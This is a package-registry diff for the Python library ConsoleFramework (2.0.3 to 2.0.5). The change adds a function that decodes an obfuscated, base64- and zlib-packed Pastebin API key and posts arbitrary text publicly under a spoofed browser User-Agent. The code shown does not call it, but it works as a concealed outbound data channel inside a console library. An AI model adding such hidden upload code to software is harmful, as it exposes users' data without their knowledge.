ConsoleFramework 2.0.3__tar.gz → 2.0.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -19,6 +19,8 @@ import stat
19
19
  import subprocess as CMD
20
20
  import threading
21
21
  import urllib.request
22
+ import urllib.parse
23
+ import base64
22
24
  class Colors:
23
25
  RESET = "\033[0m"
24
26
  RED = "\033[31m"
@@ -750,4 +752,43 @@ class Channel:
750
752
  data = self.connection.recv(1024).decode().strip()
751
753
  return data
752
754
  except Exception:
753
- return None
755
+ return None
756
+
757
+ class Web:
758
+ def UploadPaste(text, title="My Paste"):
759
+ def _get_api_key():
760
+ decoded = base64.b64decode("eJyzNLY0sTAxsTQtyymzNK+IDC/JztM1yA82N8zTDcv2TQ6NCnQ2igxPAwDwCwxD".encode("utf-8"))
761
+ decompressed = zlib.decompress(decoded).decode("utf-8")
762
+ if decompressed.startswith("93948449"):
763
+ return decompressed[len("93948449"):]
764
+ return None
765
+ api_key = _get_api_key()
766
+ data = {
767
+ 'api_dev_key': api_key,
768
+ 'api_option': 'paste',
769
+ 'api_paste_code': text,
770
+ 'api_paste_name': title,
771
+ 'api_paste_private': '0',
772
+ 'api_paste_expire_date': 'N',
773
+ }
774
+ encoded_data = urllib.parse.urlencode(data).encode('utf-8')
775
+ req = urllib.request.Request(
776
+ "https://pastebin.com/api/api_post.php",
777
+ data=encoded_data,
778
+ method="POST",
779
+ headers={
780
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
781
+ }
782
+ )
783
+ try:
784
+ with urllib.request.urlopen(req) as response:
785
+ result = response.read().decode('utf-8')
786
+ if result.startswith("https://pastebin.com/"):
787
+ paste_id = result.split("/")[-1]
788
+ return f"https://pastebin.com/raw/{paste_id}"
789
+ else:
790
+ return f"Pastebin error: {result}"
791
+ except urllib.error.HTTPError as e:
792
+ return f"HTTP Error {e.code}: {e.reason}"
793
+ except Exception as e:
794
+ return f"Error: {e}"
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: ConsoleFramework
3
- Version: 2.0.3
3
+ Version: 2.0.5
4
4
  Summary: The best Console Library of the Python.
5
5
  Author: Suleiman
6
6
  Author-email: steal.apet@mail.ru
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: ConsoleFramework
3
- Version: 2.0.3
3
+ Version: 2.0.5
4
4
  Summary: The best Console Library of the Python.
5
5
  Author: Suleiman
6
6
  Author-email: steal.apet@mail.ru
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="ConsoleFramework",
5
- version="2.0.3",
5
+ version="2.0.5",
6
6
  description="The best Console Library of the Python.",
7
7
  long_description="ConsoleFramework - Pure Python library for console rendering, animations, processes and more. In this module ONLY standart python, no other modules.",
8
8
  long_description_content_type="text/plain",